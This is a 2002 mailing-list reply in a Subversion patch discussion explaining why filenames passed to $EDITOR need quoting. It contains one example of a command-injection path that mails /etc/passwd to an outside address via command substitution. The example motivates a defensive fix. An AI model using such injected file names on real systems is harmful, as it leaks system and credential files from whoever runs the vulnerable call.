Re: [PATCH] Quote filename passed to $EDITOR

On Tue, 2002-07-23 at 11:30, Karl Fogel wrote:

> What exactly is the scenario(s) here? How high is the risk? How much
> trouble is the fix? What's the probability that the fix will cause
> some unforseen problem :-)?

A svn repository can be set up by somebody with foul intentions.
Somebody else accesses it and the system() call gets executed on the
paths chosen by whoever created it. Then the patch could be something
like in this example:

  cat /dev/$(mail to-me@test.com < /etc/passwd; echo null)

If the appropriate path component is never really shown anywhere this
might go completely unnoticed.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------